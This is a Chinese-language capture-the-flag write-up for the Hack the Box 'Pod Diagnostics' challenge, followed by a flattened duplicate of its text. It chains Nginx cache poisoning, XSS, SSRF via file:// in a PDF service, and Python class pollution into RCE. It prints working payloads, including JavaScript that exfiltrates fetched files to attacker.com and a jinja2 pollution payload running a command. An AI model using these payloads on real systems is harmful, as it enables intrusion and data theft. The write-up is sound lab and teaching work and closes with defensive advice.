Hack the Box——Pod Diagnostics解题过程
字数 1422 2025-08-10 13:48:29

Hack the Box——Pod Diagnostics 解题详解

0x00 题目概述

这是一道涉及多个漏洞链的CTF题目,主要考察以下知识点:

  • Nginx缓存机制与参数解析差异
  • 反射型XSS到存储型XSS的转换
  • 跨域请求与SSRF利用
  • Python原型链污染漏洞
  • 认证绕过与文件读取

0x01 目标分析

服务架构

题目包含三个主要服务和一个Nginx反向代理:

  1. Web服务 (3000端口)

    • / - 主页面
    • /generate-report - 生成PDF报告
    • /report - 报告管理(需要认证)
  2. Stats服务 (3001端口)

    • /stats?period= - 返回系统统计信息
  3. PDF生成服务 (3002端口)

    • /generate?url= - 生成指定URL的PDF
  4. Nginx反向代理

    • 代理Web和Stats服务
    • 为/stats配置了缓存

关键代码分析

Web服务关键路由

@app.route("/generate-report")
def generate_report_handler():
    try:
        pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
        return send_file(
            io.BytesIO(pdf_response.content),
            mimetype="application/json",
            as_attachment=True,
            download_name="report.pdf"
        )

Stats服务关键路由

app.get("/stats", async (req, res) => {
    const { period } = req.query;
    if (!period || !validPeriods.hasOwnProperty(period)) {
        return res.json({
            success: false,
            error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(', ')}`
        });
    }
    // ...
});

PDF服务关键路由

app.get("/generate", async (req, res) => {
    const { url } = req.query;
    if (!url) return res.sendStatus(400);
    const pdf = await generatePDF(url);
    if (!pdf) return res.sendStatus(500);
    res.contentType("application/pdf");
    res.end(pdf);
});

Nginx缓存配置

proxy_cache_path /run/nginx/cache keys_zone=stat_cache:10m inactive=10s;

location = /stats {
    proxy_cache stat_cache;
    proxy_cache_key "$arg_period";
    proxy_cache_valid 200 15s;
    proxy_pass http://127.0.0.1:3001;
}

0x02 漏洞链分析

漏洞1: Nginx缓存与参数解析差异

关键点

  • Nginx使用$arg_period作为缓存key,但只解析第一个period参数
  • Express的qs库会将重复参数解析为数组
  • 当period是数组时,toString()会将其转换为逗号分隔的字符串

利用方法
发送请求:/stats?period=1m&period=<payload>

  • Nginx看到的缓存key是period=1m
  • 后端Express看到的是period=["1m", "<payload>"]

漏洞2: 反射型XSS

位置/static/js/stats.js

fetch("/stats?period=" + periodSelector.value)
    .then((data) => data.json())
    .then((data) => {
        const { current, average, success, error } = data;
        if (success) {
            // ...
        } else {
            errorAlert.innerHTML = error;
            errorAlert.style.display = "block";
        }
    });

当success为false时,直接将error内容插入DOM,导致XSS。

漏洞3: 跨域与SSRF

关键点

  • Stats和PDF服务都设置了Access-Control-Allow-Origin: *
  • PDF服务的url参数可控,可通过XSS发起SSRF请求
  • 浏览器支持file协议,可读取本地文件

漏洞4: Python原型链污染

位置report.py中的merge函数

def merge(source, destination):
    for key, value in source.items():
        if hasattr(destination, "get"):
            if destination.get(key) and type(value) == dict:
                merge(value, destination.get(key))
            else:
                destination[key] = value
        elif hasattr(destination, key) and type(value) == dict:
            merge(value, getattr(destination, key))
        else:
            setattr(destination, key, value)

0x03 完整利用链

步骤1: 缓存中毒注入XSS

构造恶意请求使Nginx缓存包含XSS payload的响应:

import requests
from urllib.parse import quote

base_url = "http://target:port"
xss_payload = "r.blob()).then(b=>fetch(`http://attacker.com/leak`,{method:`POST`,body:b}))'>"

# 触发缓存中毒
url = f"{base_url}/stats?period=1m&period={quote(xss_payload)}"
requests.get(url)

步骤2: 触发XSS读取.env文件

访问/generate-report路由,使后端puppeteer访问被污染的缓存:

r = requests.get(f"{base_url}/generate-report")
with open("response.pdf", "wb") as f:
    f.write(r.content)

步骤3: 获取工程师凭证

从接收到的PDF中提取.env文件内容,获取:

ENGINEER_USERNAME=engineer
ENGINEER_PASSWORD=随机32位字符串

步骤4: Python原型链污染RCE

使用获取的凭证认证后,利用原型链污染执行命令:

import requests
import base64

url = "http://target:port/report"
auth = "engineer:获取的密码"
headers = {
    "Authorization": f"Basic {base64.b64encode(auth.encode()).decode()}"
}

payload = {
    "title": "1",
    "description": "3",
    "__init__": {
        "__globals__": {
            "loader": {
                "__init__": {
                    "__globals__": {
                        "sys": {
                            "modules": {
                                "jinja2": {
                                    "runtime": {
                                        "exported": {
                                            "__import__": "os.system",
                                            "command": "/readflag > /app/services/web/static/flag"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

requests.post(url, headers=headers, json=payload)

步骤5: 获取flag

访问/static/flag读取flag:

print(requests.get("http://target/static/flag").text)

0x04 非预期解法

直接通过XSS+SSRF读取/flag文件:

fetch('http://127.0.0.1:3002/generate?url=file:///flag')
    .then(response => response.blob())
    .then(blob => {
        return fetch('http://attacker.com/leak', {
            method: 'POST',
            body: blob
        });
    });

0x05 防御建议

  1. Nginx配置

    • 使用完整的URI作为缓存key
    • 限制参数数量
  2. XSS防御

    • 对动态内容进行HTML编码
    • 设置Content Security Policy
  3. SSRF防御

    • 限制PDF服务的URL参数协议(禁用file://)
    • 使用URL白名单
  4. 原型链污染防御

    • 避免使用不安全的对象合并
    • 使用安全的替代方案如dict.update()
  5. 认证信息保护

    • 不要将敏感信息存储在.env文件中
    • 使用更安全的认证方式如JWT
Hack the Box——Pod Diagnostics 解题详解 0x00 题目概述 这是一道涉及多个漏洞链的CTF题目,主要考察以下知识点: Nginx缓存机制与参数解析差异 反射型XSS到存储型XSS的转换 跨域请求与SSRF利用 Python原型链污染漏洞 认证绕过与文件读取 0x01 目标分析 服务架构 题目包含三个主要服务和一个Nginx反向代理: Web服务 (3000端口) / - 主页面 /generate-report - 生成PDF报告 /report - 报告管理(需要认证) Stats服务 (3001端口) /stats?period= - 返回系统统计信息 PDF生成服务 (3002端口) /generate?url= - 生成指定URL的PDF Nginx反向代理 代理Web和Stats服务 为/stats配置了缓存 关键代码分析 Web服务关键路由 Stats服务关键路由 PDF服务关键路由 Nginx缓存配置 0x02 漏洞链分析 漏洞1: Nginx缓存与参数解析差异 关键点 : Nginx使用 $arg_period 作为缓存key,但只解析第一个period参数 Express的qs库会将重复参数解析为数组 当period是数组时,toString()会将其转换为逗号分隔的字符串 利用方法 : 发送请求: /stats?period=1m&period=<payload> Nginx看到的缓存key是 period=1m 后端Express看到的是 period=["1m", "<payload>"] 漏洞2: 反射型XSS 位置 : /static/js/stats.js 当success为false时,直接将error内容插入DOM,导致XSS。 漏洞3: 跨域与SSRF 关键点 : Stats和PDF服务都设置了 Access-Control-Allow-Origin: * PDF服务的url参数可控,可通过XSS发起SSRF请求 浏览器支持file协议,可读取本地文件 漏洞4: Python原型链污染 位置 : report.py 中的merge函数 0x03 完整利用链 步骤1: 缓存中毒注入XSS 构造恶意请求使Nginx缓存包含XSS payload的响应: 步骤2: 触发XSS读取.env文件 访问 /generate-report 路由,使后端puppeteer访问被污染的缓存: 步骤3: 获取工程师凭证 从接收到的PDF中提取.env文件内容,获取: 步骤4: Python原型链污染RCE 使用获取的凭证认证后,利用原型链污染执行命令: 步骤5: 获取flag 访问 /static/flag 读取flag: 0x04 非预期解法 直接通过XSS+SSRF读取 /flag 文件: 0x05 防御建议 Nginx配置 : 使用完整的URI作为缓存key 限制参数数量 XSS防御 : 对动态内容进行HTML编码 设置Content Security Policy SSRF防御 : 限制PDF服务的URL参数协议(禁用file://) 使用URL白名单 原型链污染防御 : 避免使用不安全的对象合并 使用安全的替代方案如 dict.update() 认证信息保护 : 不要将敏感信息存储在.env文件中 使用更安全的认证方式如JWT